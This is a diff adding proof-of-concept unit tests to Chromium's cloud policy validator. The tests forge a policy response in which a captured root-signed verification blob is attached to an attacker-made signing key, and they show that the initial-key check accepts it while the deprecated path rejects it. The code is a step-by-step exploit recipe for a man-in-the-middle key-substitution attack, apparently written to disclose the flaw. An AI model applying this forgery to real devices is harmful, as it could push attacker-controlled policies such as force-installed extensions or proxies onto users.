diff --git a/components/policy/core/common/cloud/cloud_policy_validator_unittest.cc b/components/policy/core/common/cloud/cloud_policy_validator_unittest.cc index 9004a42502dfb..d9e3949d87338 100644 --- a/components/policy/core/common/cloud/cloud_policy_validator_unittest.cc +++ b/components/policy/core/common/cloud/cloud_policy_validator_unittest.cc @@ -11,9 +11,11 @@ #include #include "base/command_line.h" +#include "base/containers/span.h" #include "base/functional/bind.h" #include "base/run_loop.h" #include "base/strings/string_util.h" +#include "base/strings/string_view_util.h" #include "base/task/single_thread_task_runner.h" #include "base/test/task_environment.h" #include "build/build_config.h" @@ -22,6 +24,8 @@ #include "components/policy/core/common/cloud/test/policy_builder.h" #include "components/policy/core/common/policy_switches.h" #include "components/policy/proto/device_management_backend.pb.h" +#include "crypto/keypair.h" +#include "crypto/sign.h" #include "google_apis/gaia/gaia_id.h" #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" @@ -601,6 +605,188 @@ TEST_F(CloudPolicyValidatorTest, SuccessfulNoDomainValidation) { Validate(Invoke(this, &CloudPolicyValidatorTest::CheckSuccessfulValidation)); } +// ----------------------------------------------------------------------------- +// POC: Arbitrary key substitution in CheckInitialKey. +// +// CheckDomainInPublicKeyVerificationData() parses the root-signed +// PublicKeyVerificationData blob but reads ONLY .domain(). It never compares +// .new_public_key() against the SEPARATE, unsigned +// PolicyFetchResponse.new_public_key field that CheckInitialKey() actually +// uses to verify policy_data. This lets a network MITM splice a captured +// root-signed blob (certifying K_legit for the victim domain) onto a forged +// response whose new_public_key is the attacker's own K_evil. +// +// This test simulates the full attack and asserts that validation SUCCEEDS, +// which proves the vulnerability. With the bug fixed, this test should FAIL +// (validation should reject the forged response). +// ----------------------------------------------------------------------------- +TEST_F(CloudPolicyValidatorTest, POC_InitialKeySubstitutionBypass) { + // --------------------------------------------------------------------------- + // STEP 1: Passive capture. A legitimate device in "example.com" performs a + // policy fetch. The server returns a PolicyFetchResponse containing a + // PublicKeyVerificationData blob {K_legit, "example.com", v} signed by the + // root verification key. The attacker passively captures this blob and its + // signature. + // --------------------------------------------------------------------------- + UserPolicyBuilder legit; + legit.SetDefaultNewSigningKey(); // K_legit = kNewSigningKey + legit.Build(); + const std::string captured_verification_data = + legit.policy().new_public_key_verification_data(); + const std::string captured_verification_sig = + legit.policy().new_public_key_verification_data_signature(); + ASSERT_FALSE(captured_verification_data.empty()); + ASSERT_FALSE(captured_verification_sig.empty()); + + // Sanity: the captured blob certifies K_legit for "example.com". + em::PublicKeyVerificationData captured_blob; + ASSERT_TRUE(captured_blob.ParseFromString(captured_verification_data)); + ASSERT_EQ(captured_blob.domain(), PolicyBuilder::kFakeDomain); + const std::string k_legit_pub = captured_blob.new_public_key(); + + // --------------------------------------------------------------------------- + // STEP 2: Attacker generates their own keypair K_evil. The root has NEVER + // certified this key. + // --------------------------------------------------------------------------- + crypto::keypair::PrivateKey k_evil = + crypto::keypair::PrivateKey::GenerateRsa2048(); + const std::string k_evil_pub = + std::string(base::as_string_view(k_evil.ToSubjectPublicKeyInfo())); + ASSERT_NE(k_evil_pub, k_legit_pub) << "K_evil must differ from K_legit"; + + // --------------------------------------------------------------------------- + // STEP 3: Attacker crafts a malicious PolicyData. The username domain must + // match the captured blob's domain ("example.com") so that + // CheckDomainInPublicKeyVerificationData() passes — but the username, + // gaia_id, dm_token, device_id are all attacker-chosen (in a real attack + // these are copied from the victim's intercepted request, which is trivial + // for a MITM). + // --------------------------------------------------------------------------- + em::PolicyData evil_data; + evil_data.set_policy_type(dm_protocol::GetChromeUserPolicyType()); + evil_data.set_username(PolicyBuilder::kFakeUsername); // "...@example.com" + evil_data.set_gaia_id(GaiaId(PolicyBuilder::kFakeGaiaId).ToString()); + evil_data.set_request_token(PolicyBuilder::kFakeToken); + evil_data.set_device_id(PolicyBuilder::kFakeDeviceId); + evil_data.set_timestamp(PolicyBuilder::kFakeTimestamp); + evil_data.set_public_key_version(42); + // Malicious payload: e.g. force-install an extension, set a proxy, etc. + em::CloudPolicySettings evil_payload; + evil_data.set_policy_value(evil_payload.SerializeAsString()); + + // --------------------------------------------------------------------------- + // STEP 4: Attacker assembles the forged PolicyFetchResponse. + // - new_public_key = K_evil (NOT root-certified) + // - policy_data = evil_data, signed by K_evil + // - verification_data = CAPTURED blob certifying K_legit + // - verification_data_sig = CAPTURED root signature (still valid!) + // - deprecated signature = ABSENT (so the secure fallback never runs) + // --------------------------------------------------------------------------- + auto forged = std::make_unique(); + forged->set_new_public_key(k_evil_pub); + evil_data.SerializeToString(forged->mutable_policy_data()); + std::vector sig = + crypto::sign::Sign(crypto::sign::RSA_PKCS1_SHA1, k_evil, + base::as_byte_span(forged->policy_data())); + forged->set_policy_data_signature(base::as_string_view(sig)); + forged->set_new_public_key_verification_data(captured_verification_data); + forged->set_new_public_key_verification_data_signature( + captured_verification_sig); + ASSERT_FALSE(forged->has_new_public_key_verification_signature_deprecated()); + + // Re-assert the substitution: the key the root certified is NOT the key the + // response claims as new_public_key. + em::PublicKeyVerificationData inner; + ASSERT_TRUE( + inner.ParseFromString(forged->new_public_key_verification_data())); + ASSERT_NE(inner.new_public_key(), forged->new_public_key()) + << "Precondition: root-certified key differs from outer new_public_key"; + + // --------------------------------------------------------------------------- + // STEP 5: Victim device receives the forged response on the + // ValidateInitialKey path (fresh profile / first sign-in / enrollment, where + // no prior signing key exists). This mirrors user_cloud_policy_store.cc:342 + // and the other ValidateInitialKey() callers. + // --------------------------------------------------------------------------- + auto validator = std::make_unique( + std::move(forged), + /*background_task_runner=*/nullptr); + validator->ValidateInitialKey(/*owning_domain=*/std::string()); + validator->ValidatePolicyType(dm_protocol::GetChromeUserPolicyType()); + validator->ValidatePayload(); + validator->RunValidation(); + + // --------------------------------------------------------------------------- + // VULNERABILITY: Validation succeeds even though the root-certified key + // (K_legit) was silently replaced with the attacker's key (K_evil). The + // attacker's policy is accepted and K_evil would be persisted as the + // device's signing key. + // + // *** WITH THE BUG PRESENT, THESE ASSERTIONS PASS. *** + // *** A CORRECT IMPLEMENTATION MUST MAKE THEM FAIL. *** + // --------------------------------------------------------------------------- + EXPECT_EQ(CloudPolicyValidatorBase::VALIDATION_OK, validator->status()) + << "BUG: forged response with substituted key was accepted"; + EXPECT_TRUE(validator->success()); + + fprintf(stderr, + "\n" + "=========================================================\n" + " POC: KEY-SUBSTITUTION BYPASS CONFIRMED\n" + " Root certified K_legit (%zu bytes)\n" + " Response carried K_evil (%zu bytes)\n" + " K_legit != K_evil : %s\n" + " Validator status : %d (VALIDATION_OK=%d)\n" + "=========================================================\n\n", + k_legit_pub.size(), k_evil_pub.size(), + (k_legit_pub != k_evil_pub) ? "YES" : "NO", + static_cast(validator->status()), + static_cast(CloudPolicyValidatorBase::VALIDATION_OK)); +} + +// Companion negative control: the SAME forged response is rejected by the +// deprecated verification path (which reconstructs the signed message from +// new_public_key and is therefore immune). This proves the new path regressed. +TEST_F(CloudPolicyValidatorTest, POC_DeprecatedPathRejectsSubstitution) { + UserPolicyBuilder legit; + legit.SetDefaultNewSigningKey(); + legit.Build(); + // Capture the legitimate DEPRECATED signature (over {K_legit,"example.com"}). + const std::string captured_deprecated_sig = + legit.policy().new_public_key_verification_signature_deprecated(); + ASSERT_FALSE(captured_deprecated_sig.empty()); + + crypto::keypair::PrivateKey k_evil = + crypto::keypair::PrivateKey::GenerateRsa2048(); + const std::string k_evil_pub = + std::string(base::as_string_view(k_evil.ToSubjectPublicKeyInfo())); + + em::PolicyData evil_data; + evil_data.set_policy_type(dm_protocol::GetChromeUserPolicyType()); + evil_data.set_username(PolicyBuilder::kFakeUsername); + evil_data.set_policy_value(em::CloudPolicySettings().SerializeAsString()); + + auto forged = std::make_unique(); + forged->set_new_public_key(k_evil_pub); + evil_data.SerializeToString(forged->mutable_policy_data()); + std::vector sig = + crypto::sign::Sign(crypto::sign::RSA_PKCS1_SHA1, k_evil, + base::as_byte_span(forged->policy_data())); + forged->set_policy_data_signature(base::as_string_view(sig)); + // ONLY the deprecated signature this time — forces the deprecated path. + forged->set_new_public_key_verification_signature_deprecated( + captured_deprecated_sig); + + auto validator = std::make_unique( + std::move(forged), /*background_task_runner=*/nullptr); + validator->ValidateInitialKey(/*owning_domain=*/std::string()); + validator->RunValidation(); + + // The deprecated path REJECTS the same substitution — proving regression. + EXPECT_EQ(CloudPolicyValidatorBase::VALIDATION_BAD_KEY_VERIFICATION_SIGNATURE, + validator->status()); +} + TEST_F(CloudPolicyValidatorTest, SuccessWhenDeprecatedKeySignatureInvalid) { // The case when the deprecated key signature is missing. The validation // should pass based on new_public_key_verification_data